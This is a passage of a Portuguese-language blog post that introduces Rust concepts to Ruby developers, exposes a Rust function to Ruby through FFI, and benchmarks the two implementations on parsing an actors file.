</span></span></span><span class="line"><span class="cl"><span class="l">libc = &#34;0.1.8&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Eu removi um trecho do arquivo que vou explicar na próxima seção, sobre FFI. Por enquanto vamos nos ater a esse código.</p>
<p>A sintaxe em si não deve ser tão assustadora num primeiro momento. As coisas estranhas vão exigir algum estudo.</p>
<ul>
<li>
<p>O Rust tem tipos e eles são declarados. O compilador usa inferência de tipos então não precisa declarar tudo o tempo todo como em Java. Ao contrário de Ruby, Rust não é orientado a &ldquo;objetos&rdquo;. Ele tem structs e funções declaradas pra essas structs. Cada struct pode implementar funções declaradas em <a href="https://doc.rust-lang.org/book/traits.html"target="_blank" rel="noopener">Traits</a>, que funcionam mais ou menos como Interfaces ou Protocolos (em Swift/Obj-C). Leia <a href="http://blog.rust-lang.org/2015/05/11/traits.html"target="_blank" rel="noopener">outro artigo sobre Trait aqui</a>.</p>
</li>
<li>
<p>Existe o conceito de <a href="https://doc.rust-lang.org/book/generics.html"target="_blank" rel="noopener">Generics</a>. Por isso a sintaxe de <tt>Vec<String></tt> que declara um <a href="https://doc.rust-lang.org/book/vectors.html"target="_blank" rel="noopener">Vetor</a> com cada elemento sendo um String. Vetores são muito usados, então estude a respeito, mas é basicamente um Array de tamanho dinâmico (que pode receber novos elementos, possivelmente uma lista ligada).</p>
</li>
<li>
<p>Falando em Strings, existe a struct <a href="https://doc.rust-lang.org/book/strings.html"target="_blank" rel="noopener">String</a> e a primitiva &lsquo;str&rsquo;. Um <tt>&ldquo;hello world&rdquo;</tt> é um &lsquo;str&rsquo; que pode virar um String se fizermos <tt>&ldquo;hello world&rdquo;.to_string()</tt>.</p>
</li>
<li>
<p>Em Rust, todos bindings de variáveis são imutáveis. Para torná-la mutável precisamos declarar explicitamente com <tt>let mut</tt> como no exemplo acima. Leia mais sobre <a href="https://doc.rust-lang.org/book/variable-bindings.html"target="_blank" rel="noopener">Variable Binding</a>. Em particular, isso leva aos conceitos de <a href="https://doc.rust-lang.org/book/ownership.html"target="_blank" rel="noopener">Ownership/Propriedade</a> de uma variável, <a href="https://doc.rust-lang.org/book/references-and-borrowing.html"target="_blank" rel="noopener">Borrowing/Empréstimo</a> de variáveis entre escopos diferentes, como passar para uma função e <a href="https://doc.rust-lang.org/book/lifetimes.html"target="_blank" rel="noopener">Lifetime/Tempo de Vida</a> de uma variável. Vou adiantar que esse é um dos conceitos que pode levar mais tempo para se acostumar.</p>
</li>
</ul>
<p>Rust não tem garbage collector como em Ruby ou Java. Primeiro, porque ele usa primariamente o Stack em vez do Heap. Stack é uma pilha. Toda chamada de função empilha as variáveis que usa em seu espaço. Quando chama uma nova função ele empilha isso acima de si com suas variáveis. Quando a última função retorna, ele pode limpar as variáveis que alocou (que são sua &ldquo;propriedade&rdquo;). Se precisamos passar uma variável de uma função para a função seguinte podemos ou &ldquo;copiar&rdquo; o valor (normvalmente o que se faz com primitivas como i32 ou f64 - que são inteiros de 32bits ou floats de 64-bits, dentre outros tipos primitivos) ou podemos &ldquo;mover a propriedade&rdquo;, por exemplo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">let</span> <span class="n">x</span> <span class="o">=</span> <span class="s2">&#34;hello&#34;</span><span class="o">.</span><span class="n">to_string</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="n">let</span> <span class="n">y</span> <span class="o">=</span> <span class="n">x</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">println!</span><span class="p">(</span><span class="s2">&#34;{}&#34;</span><span class="p">,</span> <span class="n">x</span><span class="p">);</span> <span class="sr">//</span> <span class="n">vai</span> <span class="n">dar</span> <span class="n">pau</span><span class="p">,</span> <span class="n">porque</span> <span class="n">movemos</span> <span class="n">a</span> <span class="n">propriedade</span> <span class="n">de</span> <span class="s2">&#34;x&#34;</span> <span class="n">para</span> <span class="n">o</span> <span class="s2">&#34;y&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou &ldquo;emprestar&rdquo;. Empréstimos são declarados com &ldquo;&amp;&rdquo; (&rsquo;e&rsquo; comercial) e somente podemos emprestar uma única vez como em <tt>let y = &amp;x</tt>. Sim, essa mecânica vai demorar mais pra se entender se você só conhece linguagens como Ruby ou Javascript. Se você aprendeu Objective-C antes do advento do <a href="http://blog.caelum.com.br/gerenciamento-de-memoria-e-o-arc-no-objective-c/"target="_blank" rel="noopener">ARC</a>, já teve que parar pra pensar nesse tipo de <a href="http://www.akitaonrails.com/2010/11/25/objective-c-entendendo-nsautoreleasepool"target="_blank" rel="noopener">ciclo de vida de retain/copy/release</a>.</p>
<p>Outros artigos <a href="http://nercury.github.io/rust/guide/2015/01/19/ownership.html"target="_blank" rel="noopener">como este</a> ou <a href="http://arthurtw.github.io/2014/11/30/rust-borrow-lifetimes.html"target="_blank" rel="noopener">este</a> podem ajudar. O objetivo dessa mecânica é para justamente evitar possibilidades de leaks de memória, ter desalocação determinística, usar a menor quantidade de memória quanto possível. Tecnicamente, não deveria haver leaks de memória óbvios em Rust. E não ter a lógica de Garbage Collection elimina uma das maiores complexidades que temos em linguagens mais modernas que contam com uma VM, o que facilita o uso do Rust para mais usos de sistema mais de baixo nível.</p>
<ul>
<li>Você vai ver várias chamadas a <tt>unwrap()</tt>, isso pode ser estranho. Então veja esta linha em específico:</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">let</span> <span class="n">regex</span> <span class="o">=</span> <span class="no">Regex</span><span class="o">::</span><span class="kp">new</span><span class="p">(</span><span class="n">r</span><span class="s2">&#34;^(.*?)</span><span class="se">\t</span><span class="s2">+(.*?)$&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">()</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso é só um jeito mais curto pra:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">let</span> <span class="n">regex</span> <span class="o">=</span> <span class="n">match</span> <span class="no">Regex</span><span class="o">::</span><span class="kp">new</span><span class="p">(</span><span class="n">r</span><span class="s2">&#34;^(.*?)</span><span class="se">\t</span><span class="s2">+(.*?)$&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="no">Ok</span><span class="p">(</span><span class="n">regex</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="n">regex</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="no">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="n">panic!</span><span class="p">(</span><span class="s2">&#34;invalid regex&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <tt>match</tt> é a avaliação de um <a href="https://doc.rust-lang.org/book/patterns.html"target="_blank" rel="noopener">Pattern Matching</a> sobre um tipo chamado core::result::Result que é a alternativa do Rust de evitar retornar códigos de erro (como em C) ou usar um sistema de exceptions (como em Ruby mesmo). Nesse caso a criação de uma struct de Regex pode dar certo ou errado. Se der certo teremos o resultado voltando como &ldquo;Ok&rdquo;, se der errado voltará como &ldquo;Err(e)&rdquo; e podemos fazer alguma coisa com o erro ou parar tudo como no exemplo, chamando a macro &ldquo;panic!&rdquo;. O método unwrap implementa exatamente essa lógica se não estamos interessados em tratar o erro.</p>
<p>Em conjunto com o conceito de Result, temos <a href="http://hoverbear.org/2014/08/12/option-monads-in-rust/"target="_blank" rel="noopener">Option Monads</a> (implementado como core::option::Option), também conhecidos como tipos &ldquo;Maybe&rdquo; que devolvem &ldquo;Some&rdquo; (algum valor) ou &ldquo;None&rdquo; (nenhum valor), que é a resposta do Rust pra não ter que lidar com Null. Em Ruby, como existe a classe NilClass, podemos criar ferramentas como <a href="http://devblog.avdi.org/2011/05/30/null-objects-and-falsiness/"target="_blank" rel="noopener">NullObjects</a> onde um &ldquo;Maybe&rdquo; devolve esse NullObject/None ou o valor em si, &ldquo;Some&rdquo;.</p>
<p>Veja a biblioteca <a href="https://github.com/avdi/naught"target="_blank" rel="noopener">Naught</a> pra entender mais do conceito.</p>
<p>Em resumo isso significa que você vai ver muito códigos com &ldquo;unwrap&rdquo; e &ldquo;match&rdquo; lidando com &ldquo;Ok/Err&rdquo; ou &ldquo;Some/None&rdquo;. Sendo honesto, ainda não estou tão seguro das melhores práticas de quando e como usar isso e definitivamente é um tópico que vou estudar mais.</p>
<p>Veja que tanto no <tt>reader.next()</tt>, que é pegando o próximo elemento o Iterador do Regex quanto o <tt>regex.captures()</tt> que faz o match da Regex contra o string da linha devolvem o tipo &ldquo;Option&rdquo; e usamos &ldquo;match&rdquo; para saber o que fazer. No primeiro caso, se não houver um próximo elemento no iterador, ele devolve &ldquo;None&rdquo; e sabemos que podemos sair (break) do loop. E no segundo caso, se a linha sendo processada não bater com a regex, ele devolve &ldquo;None&rdquo; e sabemos que acabou o bloco do ator corrente, então podemos zerá-la antes de começar o próximo ator.</p>
<ul>
<li>O resto do código depois do &ldquo;captures()&rdquo; é a mesma lógica que em Ruby, de checar linha do arquivo, dividir entre nome do ator e seus filmes, acumular o nome do último ator (porque no formato do arquivo um ator tem vários filmes, um em cada linha), e ir acumulando os nomes no Vetor/Array. No final simplemente pegamos todos os nomes e concatenamos com um &ldquo;\n&rdquo;.</li>
</ul>
<p>Este código não lida com alguns conceitos mais interessantes do Rust como <a href="http://doc.rust-lang.org/book/dining-philosophers.html"target="_blank" rel="noopener">Threads</a>. Recomendo, no mínimo, ler toda a documentação oficial no site do Rust para entender esses e mais dos conceitos importantes.</p>
<h2>Exportando para consumo em FFI<span class="hx:absolute hx:-mt-20" id="exportando-para-consumo-em-ffi"></span>
    <a href="#exportando-para-consumo-em-ffi" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A maioria dos exemplos que achamos primeiro usando o Google, são códigos simples. Estou usando direto a gem FFI em vez de usar a Fiddle, então saibam que existem <a href="http://blog.skylight.io/bending-the-curve-writing-safe-fast-native-gems-with-rust/"target="_blank" rel="noopener">duas maneiras</a>.</p>
<p>Sem mais delongas, no mesmo arquivo <tt>src/lib.rs</tt> eu coloquei o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">extern</span> <span class="n">crate</span> <span class="n">libc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">use</span> <span class="n">libc</span><span class="o">::</span><span class="n">c_char</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">use</span> <span class="n">std</span><span class="o">::</span><span class="n">ffi</span><span class="o">::</span><span class="p">{</span><span class="no">CString</span><span class="p">,</span> <span class="no">CStr</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#[no_mangle]</span>
</span></span><span class="line"><span class="cl"><span class="n">pub</span> <span class="n">extern</span> <span class="s2">&#34;C&#34;</span> <span class="n">fn</span> <span class="n">ffi_find_actors</span><span class="p">(</span><span class="ss">filename_ptr</span><span class="p">:</span> <span class="o">*</span><span class="n">const</span> <span class="n">c_char</span><span class="p">,</span> <span class="ss">skip_lines</span><span class="p">:</span> <span class="n">i32</span><span class="p">,</span> <span class="ss">target_movie_ptr</span><span class="p">:</span> <span class="o">*</span><span class="n">const</span> <span class="n">c_char</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="o">*</span><span class="n">const</span> <span class="n">c_char</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">filename</span> <span class="o">=</span> <span class="n">unsafe</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="no">CStr</span><span class="o">::</span><span class="n">from_ptr</span><span class="p">(</span><span class="n">filename_ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">target_movie</span> <span class="o">=</span> <span class="n">unsafe</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="no">CStr</span><span class="o">::</span><span class="n">from_ptr</span><span class="p">(</span><span class="n">target_movie_ptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">let</span> <span class="n">result</span> <span class="o">=</span> <span class="n">find_actors</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">std</span><span class="o">::</span><span class="n">str</span><span class="o">::</span><span class="n">from_utf8</span><span class="p">(</span><span class="n">filename</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">())</span><span class="o">.</span><span class="n">unwrap</span><span class="p">()</span><span class="o">.</span><span class="n">to_string</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="n">skip_lines</span> <span class="n">as</span> <span class="n">usize</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">std</span><span class="o">::</span><span class="n">str</span><span class="o">::</span><span class="n">from_utf8</span><span class="p">(</span><span class="n">target_movie</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">())</span><span class="o">.</span><span class="n">unwrap</span><span class="p">()</span><span class="o">.</span><span class="n">to_string</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="no">CString</span><span class="o">::</span><span class="kp">new</span><span class="p">(</span><span class="n">result</span><span class="p">)</span><span class="o">.</span><span class="n">unwrap</span><span class="p">()</span><span class="o">.</span><span class="n">as_ptr</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, eu fiz uma nova função que consome a que analisamos antes. A que fizemos primeiro recebe structs String e devolve uma String, que são structs de Rust. Não entendi ainda como converter isso automaticamente para ser consumido externamente. Então essa função acima recebe de fora do Rust um ponteiro para uma lista de chars (que é o conceito original de uma &ldquo;string&rdquo;/&ldquo;corrente&rdquo;), pega o ponteiro, pega os bytes do local onde o ponteiro aponta, e cria uma &lsquo;str&rsquo; UTF-8, e finalmente chama &rsquo;to_string()&rsquo; pra gerar uma String de Rust.</p>
<p>Então ele pega o resultado, que é uma String, cria um CString (que vem do módulo &ldquo;std::ffi&rdquo;), ou seja, uma &ldquo;String de C&rdquo; e devolve o ponteiro para fora. Note que nos casos onde recebemos ponteiros, declaramos que é um bloco <a href="http://doc.rust-lang.org/book/unsafe.html"target="_blank" rel="noopener">&ldquo;unsafe&rdquo;</a>.</p>
<p>A diretiva <tt>#[no_mangle]</tt> é para o compilador do Rust manter e não bagunçar o nome da função internamente. E <tt>pub extern</tt> é para declará-la disponível para ser usado publicamente e externamente.</p>
<p>Sinceramente, não sei se essa é a forma correta de se expôr uma função. Provalvemente de um jeito melhor e mais simples, mas ainda não encontrei. Se alguém souber como, não deixe de colocar nos comentários.</p>
<p>Então, do lado do Ruby, consumimos desta forma:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s1">&#39;ffi&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">module</span> <span class="nn">RustWorld</span>
</span></span><span class="line"><span class="cl">  <span class="kp">extend</span> <span class="no">FFI</span><span class="o">::</span><span class="no">Library</span>
</span></span><span class="line"><span class="cl">  <span class="n">ffi_lib</span> <span class="s1">&#39;target/release/libimdb.so&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="n">attach_function</span> <span class="ss">:ffi_find_actors</span><span class="p">,</span> <span class="o">[</span><span class="ss">:string</span><span class="p">,</span> <span class="ss">:int</span><span class="p">,</span> <span class="ss">:string</span><span class="o">]</span><span class="p">,</span> <span class="ss">:string</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Note que estamos fazendo link com a versão de &ldquo;release&rdquo; gerado via <tt>cargo build &ndash;release</tt>. E então declaramos a assinatura da função que queremos usar.</p>
<p>Finalmente, podemos usar dentro do Ruby normalmente assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">RustWorld</span><span class="o">.</span><span class="n">ffi_find_actors</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="mi">239</span><span class="p">,</span> <span class="n">target_movie</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Comparação de Performance<span class="hx:absolute hx:-mt-20" id="comparação-de-performance"></span>
    <a href="#compara%c3%a7%c3%a3o-de-performance" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui vem uma pequena surpresa. Eu fiz esse código com uma versão em Ruby e outra em Rust, lendo e processando o mesmo arquivo, para obter o mesmo resultado final. O que tive foi o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>RUST=1 ruby actors.rb                                                                                                                         0.070000   0.010000   0.080000 (  0.079534)

ruby actors.rb                                                                                                                                0.060000   0.000000   0.060000 (  0.057541)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, a versão Ruby é um pouco mais rápido que a versão em Rust, por uma margem de 27% (!!). Esses tempos foram marcados internamente dentro do Ruby (consumindo o Rust via FFI) com a biblioteca Benchmark.</p>
<p>E medindo diretamente, calculando o tempo com a função &ldquo;time&rdquo;:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>time cargo run --release                                                                                                                    cargo run --release  0.11s user 0.04s system 99% cpu 0.156 total

time ruby actors.rb                                                                                                                         ruby actors.rb  0.28s user 0.03s system 98% cpu 0.311 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Aqui vemos o Ruby sendo mais lento. Como o arquivo de testes é muito pequeno, o tempo de subir o Ruby interfere na medição. Então vamos tentar com outro arquivo maior, com 52MB em vez de meros 515k:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>time cargo run --release
cargo run --release  7.04s user 0.11s system 99% cpu 7.184 total

time ruby actors.rb
ruby actors.rb  6.69s user 0.08s system 99% cpu 6.808 total</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ou seja, o Ruby ainda é mais rápido que a versão Rust. E aqui podemos ficar confusos: o Rust, sendo muito mais próximo de C do que de Ruby, não deveria ser algumas ordens de grandeza mais rápido?</p>
<p>O código em si é muito simples. O primeiro ponto é que ele depende mais de I/O (ler o arquivo). E nisso o Ruby é muito rápido pois essa lógica é implementada internamente em C.</p>
<p>A segunda parte que eu imagino mais pesada é processar a Regex linha a linha. E nesse caso a engine de Regex do Ruby é bastante rápida, também internamente sendo feita em C - mais do que isso, ela é madura, tendo passado por inúmeras reescritas e refatoramentos nos últimos anos. E a biblioteca Regex do Rust eu imagino que, por ser ainda imatura, tem muito a ser otimizada e isso está segurando os números.</p>
<p>Outra coisa: é um processamento sequencial, linear, do arquivo. Se gastássemos mais tempo em particionar o arquivo e rodar pedaços em paralelo para maximizar o uso da máquina, imagino que o Rust talvez tivesse alguma vantagem, mas mesmo nesse caso usaríamos alguma coisa como a biblioteca <a href="https://github.com/grosser/parallel"target="_blank" rel="noopener">Grosser/Parallel</a> do Ruby, como <a href="http://www.akitaonrails.com/2015/05/15/small-bites-brincando-de-crawlers-e-algumas-dicas-uteis#.VXHlGZ9Hlp8"target="_blank" rel="noopener">já expliquei em outro artigo</a>, pra conseguir também com Ruby usar todas as CPUs da máquina.</p>
<p>Na verdade, o problema não é o Rust ser &ldquo;lento&rdquo; mas subestimarmos o Ruby achando que ele sempre vai ser lento em tudo quando na verdade não é o caso. Faça a lição de casa antes de assumir que algo é lento ou rápido, você vai se surpreender em ver como Ruby é muito - e rápido - em diversos tipos de tarefas que à primeira vista parece que não. E não considerem que &ldquo;Rust&rdquo; é ruim por causa deste teste: é um caso de uso específico, que depende mais da forma como a biblioteca de Regex (possivelmente) amadureceu até este ponto.</p>
<p><strong>Obs 05/06/15:</strong> Logo após publicar o post o camarada Jeffry DeGrande mandou um <a href="https://github.com/akitaonrails/rust_ruby_exercise_1/pull/1"target="_blank" rel="noopener">Pull Request</a> que troca a lenta crate &ldquo;regex&rdquo; pela &ldquo;pcre&rdquo; que, como seu nome diz, linka por baixo com a boa e velha biblioteca nativa &ldquo;libpcre3&rdquo; (Perl Compatible Regular Expression). Com isso os tempos ficam <strong>Muito</strong> melhores:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>&gt; RUST=1 ruby actors.rb
running Rust/FFI version
  1.600000   0.010000   1.610000 (  1.625171)

&gt; ruby actors.rb
running pure Ruby version
  5.980000   0.050000   6.030000 (  6.046123)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
